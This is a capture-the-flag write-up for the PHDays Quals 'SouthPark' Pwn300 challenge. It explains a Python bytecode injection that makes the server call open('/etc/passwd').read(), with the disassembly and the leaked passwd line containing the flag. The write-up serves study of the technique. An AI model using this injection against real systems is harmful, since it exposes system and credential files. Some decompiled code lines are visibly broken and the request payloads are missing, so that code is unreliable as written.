code hacking, zen coding


PHDays CTF Quals – Pwn300 SouthPark Write-Up – Python byte-code version

Posted by aXs

This challenge is about the control panel of the Southpark police department. (I wonder how many weird google searches I'm going to get on this post)


You can choose an action and a victim. When you submit the form, it's a simple AJAX call that will display "'human' was 'action'"

If we look closer at this ajax call we have some variables to play with:


We get the "source" code of this challenge in the form of 2 files, one file and one compiled process.pyc file.

In, we see we import the process.pyc:

  def render_POST(self, request):
    import process
    addition = "<br>"
    addition += process.process(request.args)
    response = addition
    return response

Using the great Uncompyle2 by Mysterie, we can recover the source code of process.pyc:

import types

def create_function(name, args_count, choice, actions, human):

    def y():

    code = 't' + choice + ''\x00d\x01\x00\x83\x01\x00S'
    consts = (None,) + (human,)
    names = actions
    fun = [args_count,
    y_code = types.CodeType(*fun)
    return types.FunctionType(y_code, y.func_globals, name)

def kill(name):
    return '%s was killed' % name

def arrest(name):
    return '%s was arrested' % name

def bankrupt(name):
    return '%s was bankrupted' % name

def process(args):
    actions = tuple(args['actions'])
    choice = args['choice'][0]
    human = args['human'][0]
    return create_function('myfunc', 0, choice, actions, human)()

create_function creates a Python lambda function from scratch and then returns it for consumption.

There is many ways to exploit this code because it calls a function name defined by the user in actions passing human as parameter like for example:


But I was intrigued by the "code" variable and the choice parameter which is inserted in the middle of what is Python byte-code. Can we exploit that for extra fun? (not extra points tough)

What is the purpose of:

code = 't' + choice + '\x00d\x01\x00\x83\x01\x00S'

Using Python dis module we can disassemble it: (comments are my own)

>>> import dis
>>> choice = '\x00'
>>> dis.dis('t' + choice + '\x00d\x01\x00\x83\x01\x00S')
          0 LOAD_GLOBAL         0 (0) // load actions (as globals=names)
          3 LOAD_CONST          1 (1) // load human on stack
          6 CALL_FUNCTION       1
          9 RETURN_VALUE

Calling a function named after "actions" passing the "human" parameter.

So we can craft the following Python byte-code injection:


This byte-code string can be decoded as doing this:

>>> dis.dis('t' + chr(0) + '\x00d\x01\x00\x83\x01\x00' + chr(105) +  chr(1) + '\x00\x83\x00\x00S' + 't' +  chr(0) + '\x00d\x01\x00\x83\x01\x00S')
          0 LOAD_GLOBAL         0 (0) // push first "actions" parameter on stack : open
          3 LOAD_CONST          1 (1) // push "human" parameter on stack : /etc/passwd
          6 CALL_FUNCTION       1     // open('/etc/passwd')
          9 LOAD_ATTR           1 (1) // load second "actions" parameter as a "read" attr for the open object created previously
         12 CALL_FUNCTION       0     // read the file content: open('/etc/passwd').read()
         15 RETURN_VALUE              // we bypass rest of original byte-code by inserting a RETURN_VALUE opcode, bit like # -- in SQLi
         16 LOAD_GLOBAL         0 (0) // original code
         19 LOAD_CONST          1 (1)
         22 CALL_FUNCTION       1
         25 RETURN_VALUE

And we get the flag:

# $FreeBSD: src/etc/master.passwd,v 2012/11/17 08:36:10 svnexp Exp $
root:*:0:0:Charlie & flag -> d9301a72ee12eabb2b913398a3fab50b:/root:/bin/csh